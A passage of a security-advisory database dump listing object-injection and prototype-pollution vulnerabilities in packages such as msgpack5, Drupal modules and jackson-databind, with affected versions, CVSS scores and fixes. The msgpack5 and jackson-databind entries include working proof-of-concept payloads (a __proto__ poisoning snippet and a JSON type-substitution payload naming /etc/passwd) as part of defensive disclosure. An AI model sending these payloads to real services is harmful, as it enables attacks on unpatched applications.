"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-103918"
},
{
"type": "WEB",
"url": "https://github.com/middleapi/orpc/pull/1727"
},
{
"type": "WEB",
"url": "https://github.com/middleapi/orpc/commit/26314dfb443237c495116c5794d3d30a7a22c570"
},
{
"type": "PACKAGE",
"url": "https://github.com/middleapi/orpc"
},
{
"type": "WEB",
"url": "https://github.com/middleapi/orpc/releases/tag/v1.14.10"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "@orpc/zod: Prototype injection in smart coercion"
}
GHSA-GCRQ-XR3R-V2G8
Vulnerability from github – Published: 2026-10-16 15:38 – Updated: 2026-10-16 15:38An attacker can cause the server to unbind the target device from its current owner and rebind it to the requesting account, regardless of whether the device is currently bound to a different account, allowing an attacker to obtain the device's full serial ID.
{
"affected": [],
"aliases": [
"CVE-2026-97858"
],
"database_specific": {
"cwe_ids": [
"CWE-915"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-10-16T14:19:36Z",
"severity": "MODERATE"
},
"details": "An attacker can cause the server to unbind the target device from its current owner and rebind it to the requesting account, regardless of whether the device is currently bound to a different account, allowing an attacker to obtain the device\u0027s full serial ID.",
"id": "GHSA-gcrq-xr3r-v2g8",
"modified": "2026-10-16T15:38:46Z",
"published": "2026-10-16T15:38:46Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-97858"
},
{
"type": "WEB",
"url": "https://eseecloud.app"
},
{
"type": "WEB",
"url": "https://github.com/cisagov/CSAF/blob/develop/csaf_files/OT/white/2026/icsa-26-288-02.json"
},
{
"type": "WEB",
"url": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-288-02"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-GGC6-38JQ-Q957
Vulnerability from github – Published: 2026-07-10 21:32 – Updated: 2026-07-14 15:32Improperly Controlled Modification of Dynamically-Determined Object Attributes vulnerability in Drupal Drupal AlternativeCommerce (Basket) allows Object Injection. This issue affects Drupal AlternativeCommerce (Basket) versions: from 0.0.0 to 2.1.17.
{
"affected": [],
"aliases": [
"CVE-2026-9726"
],
"database_specific": {
"cwe_ids": [
"CWE-915"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-10T21:17:00Z",
"severity": "CRITICAL"
},
"details": "Improperly Controlled Modification of Dynamically-Determined Object Attributes vulnerability in Drupal Drupal AlternativeCommerce (Basket) allows Object Injection. This issue affects Drupal AlternativeCommerce (Basket) versions: from 0.0.0 to 2.1.17.",
"id": "GHSA-ggc6-38jq-q957",
"modified": "2026-07-14T15:32:06Z",
"published": "2026-07-10T21:32:34Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-9726"
},
{
"type": "WEB",
"url": "https://www.drupal.org/sa-contrib-2026-038"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-GMJW-49P4-PCFM
Vulnerability from github – Published: 2021-03-12 22:44 – Updated: 2021-03-12 16:57Impact
The issue is as follows: when msgpack5 decodes a map containing a
key "__proto__", it assigns the decoded value to __proto__. As you
are no doubt aware, Object.prototype.__proto__ is an accessor
property for the receiver's prototype. If the value corresponding to
the key __proto__ decodes to an object or null, msgpack5 sets
the decoded object's prototype to that value.
An attacker who can submit crafted MessagePack data to a service can
use this to produce values that appear to be of other types; may have
unexpected prototype properties and methods (for example length,
numeric properties, and push et al if __proto__'s value decodes to
an Array); and/or may throw unexpected exceptions when used (for
example if the __proto__ value decodes to a Map or Date). Other
unexpected behavior might be produced for other types.
There is no effect on the global prototype.
An example:
const msgpack5 = require('msgpack5')();
const payload = {};
Object.defineProperty(payload, '__proto__', {
value: new Map().set(1, 2),
enumerable: true
});
const encoded = msgpack5.encode(payload);
console.log(encoded); // <Buffer 81 a9 5f 5f 70 72 6f 74 6f 5f 5f 81 01 02>
const decoded = msgpack5.decode(encoded);
// decoded's prototype has been overwritten
console.log(Object.getPrototypeOf(decoded)); // Map(1) { 1 => 2 }
console.log(decoded.get); // [Function: get]
// decoded appears to most common typechecks to be a Map
console.log(decoded instanceof Map); // true
console.log(decoded.toString()); // [object Map]
console.log(Object.prototype.toString.call(decoded)); // [object Map]
console.log(decoded.constructor.name); // Map
console.log(Object.getPrototypeOf(decoded).constructor.name); // Map
// decoded is not, however, a Map
console.log(Object.getPrototypeOf(decoded) === Map.prototype); // false
// using decoded as though it were a Map throws
try {
decoded.get(1);
} catch (error) {
console.log(error); // TypeError: Method Map.prototype.get called
// on incompatible receiver #<Map>
}
try {
decoded.size;
} catch (error) {
console.log(error); // TypeError: Method get Map.prototype.size
// called on incompatible receiver #<Map>
}
// re-encoding the decoded value throws
try {
msgpack5.encode(decoded);
} catch (error) {
console.log(error); // TypeError: Method Map.prototype.entries
// called on incompatible receiver #<Map>
}
This "prototype poisoning" is sort of a very limited inversion of a
prototype pollution attack. Only the decoded value's prototype is
affected, and it can only be set to msgpack5 values (though if the
victim makes use of custom codecs, anything could be a msgpack5
value). We have not found a way to escalate this to true prototype
pollution (absent other bugs in the consumer's code).
Patches
Versions v5.2.1, v4.5.1, v3.6.1 include the fix.
Workarounds
Always validate incoming data after parsing before doing any processing.
For more information
If you have any questions or comments about this advisory: * Open an issue in example link to repo * Email us at example email address
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "msgpack5"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.6.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "msgpack5"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0"
},
{
"fixed": "4.5.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "msgpack5"
},
"ranges": [
{
"events": [
{
"introduced": "5.0.0"
},
{
"fixed": "5.2.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2021-21368"
],
"database_specific": {
"cwe_ids": [
"CWE-1321",
"CWE-915"
],
"github_reviewed": true,
"github_reviewed_at": "2021-03-12T16:57:44Z",
"nvd_published_at": "2021-03-12T17:15:00Z",
"severity": "MODERATE"
},
"details": "### Impact\n\nThe issue is as follows: when `msgpack5` decodes a map containing a \nkey `\"__proto__\"`, it assigns the decoded value to `__proto__`. As you \nare no doubt aware, `Object.prototype.__proto__` is an accessor \nproperty for the receiver\u0027s prototype. If the value corresponding to \nthe key `__proto__` decodes to an object or `null`, `msgpack5` sets \nthe decoded object\u0027s prototype to that value. \n\nAn attacker who can submit crafted MessagePack data to a service can \nuse this to produce values that appear to be of other types; may have \nunexpected prototype properties and methods (for example `length`, \nnumeric properties, and `push` et al if `__proto__`\u0027s value decodes to \nan `Array`); and/or may throw unexpected exceptions when used (for \nexample if the `__proto__` value decodes to a `Map` or `Date`). Other \nunexpected behavior might be produced for other types. \n\nThere is no effect on the global prototype.\n\nAn example: \n\n```js \nconst msgpack5 = require(\u0027msgpack5\u0027)(); \n\nconst payload = {}; \nObject.defineProperty(payload, \u0027__proto__\u0027, { \nvalue: new Map().set(1, 2), \nenumerable: true \n}); \n\nconst encoded = msgpack5.encode(payload); \nconsole.log(encoded); // \u003cBuffer 81 a9 5f 5f 70 72 6f 74 6f 5f 5f 81 01 02\u003e \n\nconst decoded = msgpack5.decode(encoded); \n\n// decoded\u0027s prototype has been overwritten \nconsole.log(Object.getPrototypeOf(decoded)); // Map(1) { 1 =\u003e 2 } \nconsole.log(decoded.get); // [Function: get] \n\n// decoded appears to most common typechecks to be a Map \nconsole.log(decoded instanceof Map); // true \nconsole.log(decoded.toString()); // [object Map] \nconsole.log(Object.prototype.toString.call(decoded)); // [object Map] \nconsole.log(decoded.constructor.name); // Map \nconsole.log(Object.getPrototypeOf(decoded).constructor.name); // Map \n\n// decoded is not, however, a Map \nconsole.log(Object.getPrototypeOf(decoded) === Map.prototype); // false \n\n// using decoded as though it were a Map throws \ntry { \ndecoded.get(1); \n} catch (error) { \nconsole.log(error); // TypeError: Method Map.prototype.get called \n// on incompatible receiver #\u003cMap\u003e \n} \ntry { \ndecoded.size; \n} catch (error) { \nconsole.log(error); // TypeError: Method get Map.prototype.size \n// called on incompatible receiver #\u003cMap\u003e \n} \n\n// re-encoding the decoded value throws \ntry { \nmsgpack5.encode(decoded); \n} catch (error) { \nconsole.log(error); // TypeError: Method Map.prototype.entries \n// called on incompatible receiver #\u003cMap\u003e \n} \n``` \n\nThis \"prototype poisoning\" is sort of a very limited inversion of a \nprototype pollution attack. Only the decoded value\u0027s prototype is \naffected, and it can only be set to `msgpack5` values (though if the \nvictim makes use of custom codecs, anything could be a `msgpack5` \nvalue). We have not found a way to escalate this to true prototype \npollution (absent other bugs in the consumer\u0027s code). \n\n### Patches\n\nVersions v5.2.1, v4.5.1, v3.6.1 include the fix.\n\n### Workarounds\n\nAlways validate incoming data after parsing before doing any processing.\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n* Open an issue in [example link to repo](http://example.com)\n* Email us at [example email address](mailto:example@example.com)",
"id": "GHSA-gmjw-49p4-pcfm",
"modified": "2021-03-12T16:57:44Z",
"published": "2021-03-12T22:44:17Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/mcollina/msgpack5/security/advisories/GHSA-gmjw-49p4-pcfm"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-21368"
},
{
"type": "WEB",
"url": "https://github.com/mcollina/msgpack5/commit/d4e6cb956ae51c8bb2828e71c7c1107c340cf1e8"
},
{
"type": "WEB",
"url": "https://github.com/mcollina/msgpack5/releases/tag/v3.6.1"
},
{
"type": "WEB",
"url": "https://github.com/mcollina/msgpack5/releases/tag/v4.5.1"
},
{
"type": "WEB",
"url": "https://github.com/mcollina/msgpack5/releases/tag/v5.2.1"
},
{
"type": "WEB",
"url": "https://www.npmjs.com/package/msgpack5"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:L/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Prototype poisoning"
}
GHSA-GR58-J5WH-M333
Vulnerability from github – Published: 2021-05-06 17:29 – Updated: 2021-05-05 21:33All versions of package nis-utils up to and including 0.6.10 are vulnerable to Prototype Pollution via the setValue function.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "nis-utils"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "0.6.10"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2020-7703"
],
"database_specific": {
"cwe_ids": [
"CWE-1321",
"CWE-915"
],
"github_reviewed": true,
"github_reviewed_at": "2021-05-05T21:33:21Z",
"nvd_published_at": "2020-08-17T15:15:00Z",
"severity": "CRITICAL"
},
"details": "All versions of package nis-utils up to and including 0.6.10 are vulnerable to Prototype Pollution via the setValue function.",
"id": "GHSA-gr58-j5wh-m333",
"modified": "2021-05-05T21:33:21Z",
"published": "2021-05-06T17:29:08Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-7703"
},
{
"type": "WEB",
"url": "https://snyk.io/vuln/SNYK-JS-NISUTILS-598799"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Prototype Pollution in nis-utils"
}
GHSA-GR6Q-5P85-FQ4Q
Vulnerability from github – Published: 2026-07-11 00:31 – Updated: 2026-07-13 18:30Improperly Controlled Modification of Dynamically-Determined Object Attributes vulnerability in Drupal Plotly.js Graphing allows Object Injection. This issue affects Plotly.js Graphing versions: from 0.0.0 to 3.0.2.
{
"affected": [],
"aliases": [
"CVE-2026-55810"
],
"database_specific": {
"cwe_ids": [
"CWE-915"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-10T22:16:43Z",
"severity": "CRITICAL"
},
"details": "Improperly Controlled Modification of Dynamically-Determined Object Attributes vulnerability in Drupal Plotly.js Graphing allows Object Injection. This issue affects Plotly.js Graphing versions: from 0.0.0 to 3.0.2.",
"id": "GHSA-gr6q-5p85-fq4q",
"modified": "2026-07-13T18:30:34Z",
"published": "2026-07-11T00:31:48Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-55810"
},
{
"type": "WEB",
"url": "https://www.drupal.org/sa-contrib-2026-050"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-GVF2-2F4G-JQF4
Vulnerability from github – Published: 2024-12-10 00:31 – Updated: 2025-06-04 00:50Drupal core contains a potential PHP Object Injection vulnerability that (if combined with another exploit) could lead to Remote Code Execution. It is not directly exploitable.
This issue is mitigated by the fact that in order for it to be exploitable, a separate vulnerability must be present to allow an attacker to pass unsafe input to unserialize(). There are no such known exploits in Drupal core.
To help protect against this potential vulnerability, some additional checks have been added to Drupal core's database code. If you use a third-party database driver, check the release notes for additional configuration steps that may be required in certain cases.
This issue affects Drupal Core: from 7.0 before 7.102, from 8.0.0 before 10.2.11, from 10.3.0 before 10.3.9.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "drupal/core"
},
"ranges": [
{
"events": [
{
"introduced": "8.8.0"
},
{
"fixed": "10.2.11"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "drupal/core"
},
"ranges": [
{
"events": [
{
"introduced": "10.3.0"
},
{
"fixed": "10.3.9"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "drupal/core"
},
"ranges": [
{
"events": [
{
"introduced": "7.0"
},
{
"fixed": "7.102"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "drupal/core-recommended"
},
"ranges": [
{
"events": [
{
"introduced": "8.8.0"
},
{
"fixed": "10.2.11"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "drupal/core-recommended"
},
"ranges": [
{
"events": [
{
"introduced": "10.3.0"
},
{
"fixed": "10.3.9"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "drupal/core-recommended"
},
"ranges": [
{
"events": [
{
"introduced": "7.0"
},
{
"fixed": "7.102"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "drupal/drupal"
},
"ranges": [
{
"events": [
{
"introduced": "8.8.0"
},
{
"fixed": "10.2.11"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "drupal/drupal"
},
"ranges": [
{
"events": [
{
"introduced": "10.3.0"
},
{
"fixed": "10.3.9"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "drupal/drupal"
},
"ranges": [
{
"events": [
{
"introduced": "7.0"
},
{
"fixed": "7.102"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-55638"
],
"database_specific": {
"cwe_ids": [
"CWE-502",
"CWE-915"
],
"github_reviewed": true,
"github_reviewed_at": "2024-12-10T19:09:18Z",
"nvd_published_at": "2024-12-10T00:15:22Z",
"severity": "HIGH"
},
"details": "Drupal core contains a potential PHP Object Injection vulnerability that (if combined with another exploit) could lead to Remote Code Execution. It is not directly exploitable.\n\nThis issue is mitigated by the fact that in order for it to be exploitable, a separate vulnerability must be present to allow an attacker to pass unsafe input to `unserialize()`. There are no such known exploits in Drupal core.\n\nTo help protect against this potential vulnerability, some additional checks have been added to Drupal core\u0027s database code. If you use a third-party database driver, check the release notes for additional configuration steps that may be required in certain cases. \n\nThis issue affects Drupal Core: from 7.0 before 7.102, from 8.0.0 before 10.2.11, from 10.3.0 before 10.3.9.",
"id": "GHSA-gvf2-2f4g-jqf4",
"modified": "2025-06-04T00:50:20Z",
"published": "2024-12-10T00:31:27Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-55638"
},
{
"type": "PACKAGE",
"url": "https://github.com/drupal/core"
},
{
"type": "WEB",
"url": "https://www.drupal.org/sa-core-2024-008"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:H/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Drupal core contains a potential PHP Object Injection vulnerability"
}
GHSA-GX83-3VF8-GH7J
Vulnerability from github – Published: 2026-09-28 20:44 – Updated: 2026-09-28 20:44Summary
DefaultBaseTypeLimitingValidator — the PolymorphicTypeValidator used automatically whenever @JsonTypeInfo is applied without an explicitly configured custom validator — denies polymorphic resolution only for nine specific "unsafe base types" (Object, Serializable, Closeable, AutoCloseable, Cloneable, Runnable, java.util.logging.Handler, javax.naming.Referenceable, javax.sql.DataSource). Its isSafeSubType() returns true unconditionally for every other base type. java.lang.Comparable is not in that list, despite being implemented by a very large fraction of JDK and application classes — comparable in breadth to Serializable, which is denylisted for exactly that reason. An application with an @JsonTypeInfo-annotated Comparable-typed property, and no custom validator configured, will accept a type identifier for essentially any class implementing Comparable.
Details
Affected file: src/main/java/tools/jackson/databind/jsontype/DefaultBaseTypeLimitingValidator.java
private final static class UnsafeBaseTypes {
private final Set<String> UNSAFE = new HashSet<>();
{
UNSAFE.add(Object.class.getName());
UNSAFE.add(java.io.Closeable.class.getName());
UNSAFE.add(java.io.Serializable.class.getName());
UNSAFE.add(AutoCloseable.class.getName());
UNSAFE.add(Cloneable.class.getName());
UNSAFE.add(Runnable.class.getName()); // [databind#5014]
UNSAFE.add("java.util.logging.Handler");
UNSAFE.add("javax.naming.Referenceable");
UNSAFE.add("javax.sql.DataSource");
// java.lang.Comparable is NOT present here
}
}
protected boolean isSafeSubType(DatabindContext ctxt,
JavaType baseType, JavaType subType) {
return true; // unconditional for every base type not in UNSAFE
}
The class's own JavaDoc acknowledges the design ("Note that when using potentially unsafe base type like java.lang.Object a custom implementation... is needed"), so the trade-off of leaving broad base types unrestricted is intentional. The gap is that Comparable has the same breadth of implementers as the types this class does restrict, and its absence looks like an oversight rather than a deliberate choice — consistent with the ongoing, incremental nature of this list (Runnable was added recently for issue #5014).
This is specific to the default, unconfigured validator reached via bare @JsonTypeInfo usage. Global "Default Typing" via activateDefaultTyping() is not affected, because that method structurally requires an explicit PolymorphicTypeValidator argument — a correctly-configured BasicPolymorphicTypeValidator rejects the same payload under activateDefaultTyping().
PoC
Built entirely from source (jackson-databind + jackson-core + jackson-annotations, javac, OpenJDK 21, no third-party gadget libraries, no network access):
1. Sanity check (benign class, confirms the mechanism fires):
static class SafeThing implements Comparable<SafeThing> {
public String name;
public SafeThing() {}
public int compareTo(SafeThing o) { return 0; }
}
static class Holder {
@JsonTypeInfo(use = JsonTypeInfo.Id.CLASS)
public Comparable<?> value;
}
ObjectMapper mapper = JsonMapper.builder().build(); // no custom PTV
String json = "{\"value\":{\"@class\":\"...SafeThing\",\"name\":\"hello\"}}";
Holder h = mapper.readValue(json, Holder.class);
// RESULT: ACCEPTED, class=...SafeThing
2. Real JDK class substitution:
String json = "{\"value\":[\"java.io.File\",\"/etc/passwd\"]}";
Holder h = mapper.readValue(json, Holder.class);
// RESULT: ACCEPTED, class=java.io.File value=/etc/passwd
3. Negative control — Default Typing with an explicit custom PTV:
PolymorphicTypeValidator ptv = BasicPolymorphicTypeValidator.builder()
.allowIfSubType("PtvGapTest4").build();
ObjectMapper mapper = JsonMapper.builder()
.activateDefaultTyping(ptv, DefaultTyping.NON_FINAL).build();
// same java.io.File payload
// RESULT: REJECTED - InvalidTypeIdException: "...denied resolution"
Observed output:
$ java -cp .:build/classes PtvGapTest3 Trying: {"value":["java.io.File","/etc/passwd"]} ACCEPTED, class=java.io.File value=/etc/passwd
$ java -cp .:build/classes PtvGapTest4 Trying malicious substitution: ["PtvGapTest4$Holder",{"value":["java.io.File","/etc/passwd"]}] REJECTED - InvalidTypeIdException: Could not resolve type id 'java.io.File' as a subtype of java.lang.Comparable: Configured PolymorphicTypeValidator denied resolution
Impact
Any application declaring an @JsonTypeInfo-annotated property or class with Comparable as its base type, without a separately configured restrictive PolymorphicTypeValidator, will accept a type identifier for essentially any class implementing Comparable. Concrete impact is demonstrated via java.io.File: an attacker can cause construction of a File object for an arbitrary, attacker-chosen path. On its own this is a controlled-object-instantiation primitive; if the application later calls path-sensitive or mutating methods on the received value, this becomes a path-traversal-adjacent primitive.
Suggested remediation:
1. Add java.lang.Comparable to UnsafeBaseTypes.UNSAFE.
2. Audit other broad JDK interfaces (java.lang.Iterable, java.util.EventListener) for the same gap.
3. Consider a narrower default for isSafeSubType() for base types outside the fixed denylist, rather than unconditional true.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "tools.jackson.core:jackson-databind"
},
"ranges": [
{
"events": [
{
"introduced": "3.0.0"
},
{
"fixed": "3.1.6"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "tools.jackson.core:jackson-databind"
},
"ranges": [
{
"events": [
{
"introduced": "3.2.0"
},
{
"fixed": "3.2.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "com.fasterxml.jackson.core:jackson-databind"
},
"ranges": [
{
"events": [
{
"introduced": "2.11.0"
},
{
"fixed": "2.18.10"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "com.fasterxml.jackson.core:jackson-databind"
},
"ranges": [
{
"events": [
{
"introduced": "2.19.0"
},
{
"fixed": "2.21.6"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "com.fasterxml.jackson.core:jackson-databind"
},
"ranges": [
{
"events": [
{
"introduced": "2.22.0"
},
{
"fixed": "2.22.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-83557"
],
"database_specific": {
"cwe_ids": [
"CWE-502",
"CWE-915"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-28T20:44:25Z",
"nvd_published_at": "2026-09-01T15:17:37Z",
"severity": "MODERATE"
},
"details": "### Summary\n`DefaultBaseTypeLimitingValidator` \u2014 the `PolymorphicTypeValidator` used automatically whenever `@JsonTypeInfo` is applied without an explicitly configured custom validator \u2014 denies polymorphic resolution only for nine specific \"unsafe base types\" (`Object`, `Serializable`, `Closeable`, `AutoCloseable`, `Cloneable`, `Runnable`, `java.util.logging.Handler`, `javax.naming.Referenceable`, `javax.sql.DataSource`). Its `isSafeSubType()` returns `true` unconditionally for every other base type. `java.lang.Comparable` is not in that list, despite being implemented by a very large fraction of JDK and application classes \u2014 comparable in breadth to `Serializable`, which is denylisted for exactly that reason. An application with an `@JsonTypeInfo`-annotated `Comparable`-typed property, and no custom validator configured, will accept a type identifier for essentially any class implementing `Comparable`.\n\n### Details\n**Affected file:** `src/main/java/tools/jackson/databind/jsontype/DefaultBaseTypeLimitingValidator.java`\n\n```java\nprivate final static class UnsafeBaseTypes {\n private final Set\u003cString\u003e UNSAFE = new HashSet\u003c\u003e();\n {\n UNSAFE.add(Object.class.getName());\n UNSAFE.add(java.io.Closeable.class.getName());\n UNSAFE.add(java.io.Serializable.class.getName());\n UNSAFE.add(AutoCloseable.class.getName());\n UNSAFE.add(Cloneable.class.getName());\n UNSAFE.add(Runnable.class.getName()); // [databind#5014]\n UNSAFE.add(\"java.util.logging.Handler\");\n UNSAFE.add(\"javax.naming.Referenceable\");\n UNSAFE.add(\"javax.sql.DataSource\");\n // java.lang.Comparable is NOT present here\n }\n}\n\nprotected boolean isSafeSubType(DatabindContext ctxt,\n JavaType baseType, JavaType subType) {\n return true; // unconditional for every base type not in UNSAFE\n}\n```\n\nThe class\u0027s own JavaDoc acknowledges the design (*\"Note that when using potentially unsafe base type like `java.lang.Object` a custom implementation... is needed\"*), so the trade-off of leaving broad base types unrestricted is intentional. The gap is that `Comparable` has the same breadth of implementers as the types this class *does* restrict, and its absence looks like an oversight rather than a deliberate choice \u2014 consistent with the ongoing, incremental nature of this list (`Runnable` was added recently for issue #5014).\n\nThis is specific to the **default, unconfigured validator** reached via bare `@JsonTypeInfo` usage. Global \"Default Typing\" via `activateDefaultTyping()` is **not** affected, because that method structurally requires an explicit `PolymorphicTypeValidator` argument \u2014 a correctly-configured `BasicPolymorphicTypeValidator` rejects the same payload under `activateDefaultTyping()`.\n\n### PoC\nBuilt entirely from source (jackson-databind + jackson-core + jackson-annotations, `javac`, OpenJDK 21, no third-party gadget libraries, no network access):\n\n**1. Sanity check (benign class, confirms the mechanism fires):**\n```java\nstatic class SafeThing implements Comparable\u003cSafeThing\u003e {\n public String name;\n public SafeThing() {}\n public int compareTo(SafeThing o) { return 0; }\n}\nstatic class Holder {\n @JsonTypeInfo(use = JsonTypeInfo.Id.CLASS)\n public Comparable\u003c?\u003e value;\n}\n\nObjectMapper mapper = JsonMapper.builder().build(); // no custom PTV\nString json = \"{\\\"value\\\":{\\\"@class\\\":\\\"...SafeThing\\\",\\\"name\\\":\\\"hello\\\"}}\";\nHolder h = mapper.readValue(json, Holder.class);\n// RESULT: ACCEPTED, class=...SafeThing\n```\n\n**2. Real JDK class substitution:**\n```java\nString json = \"{\\\"value\\\":[\\\"java.io.File\\\",\\\"/etc/passwd\\\"]}\";\nHolder h = mapper.readValue(json, Holder.class);\n// RESULT: ACCEPTED, class=java.io.File value=/etc/passwd\n```\n\n**3. Negative control \u2014 Default Typing with an explicit custom PTV:**\n```java\nPolymorphicTypeValidator ptv = BasicPolymorphicTypeValidator.builder()\n .allowIfSubType(\"PtvGapTest4\").build();\nObjectMapper mapper = JsonMapper.builder()\n .activateDefaultTyping(ptv, DefaultTyping.NON_FINAL).build();\n// same java.io.File payload\n// RESULT: REJECTED - InvalidTypeIdException: \"...denied resolution\"\n```\n\n**Observed output:**\n\n\n\n\n$ java -cp .:build/classes PtvGapTest3\nTrying: {\"value\":[\"java.io.File\",\"/etc/passwd\"]}\nACCEPTED, class=java.io.File value=/etc/passwd\n\n$ java -cp .:build/classes PtvGapTest4\nTrying malicious substitution: [\"PtvGapTest4$Holder\",{\"value\":[\"java.io.File\",\"/etc/passwd\"]}]\nREJECTED - InvalidTypeIdException: Could not resolve type id \u0027java.io.File\u0027 as a\nsubtype of java.lang.Comparable: Configured PolymorphicTypeValidator denied resolution\n\n\n\n\n### Impact\nAny application declaring an `@JsonTypeInfo`-annotated property or class with `Comparable` as its base type, without a separately configured restrictive `PolymorphicTypeValidator`, will accept a type identifier for essentially any class implementing `Comparable`. Concrete impact is demonstrated via `java.io.File`: an attacker can cause construction of a `File` object for an arbitrary, attacker-chosen path. On its own this is a controlled-object-instantiation primitive; if the application later calls path-sensitive or mutating methods on the received value, this becomes a path-traversal-adjacent primitive. \n\n**Suggested remediation:**\n1. Add `java.lang.Comparable` to `UnsafeBaseTypes.UNSAFE`.\n2. Audit other broad JDK interfaces (`java.lang.Iterable`, `java.util.EventListener`) for the same gap.\n3. Consider a narrower default for `isSafeSubType()` for base types outside the fixed denylist, rather than unconditional `true`.",
"id": "GHSA-gx83-3vf8-gh7j",
"modified": "2026-09-28T20:44:25Z",
"published": "2026-09-28T20:44:25Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-databind/security/advisories/GHSA-gx83-3vf8-gh7j"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-83557"
},
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-databind/issues/6156"
},
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-databind/pull/6155"
},
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-databind/commit/eb3b7fc0f9c0d27f471550ac3316b17d1987388f"
},
{
"type": "PACKAGE",
"url": "https://github.com/FasterXML/jackson-databind"
},
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-databind/releases/tag/jackson-databind-2.18.10"
},
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-databind/releases/tag/jackson-databind-2.21.6"
},
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-databind/releases/tag/jackson-databind-2.22.2"
},
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-databind/releases/tag/jackson-databind-3.1.6"
},
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-databind/releases/tag/jackson-databind-3.2.2"
}
],
"schema_version": "1.4.0",
"severity": [
{
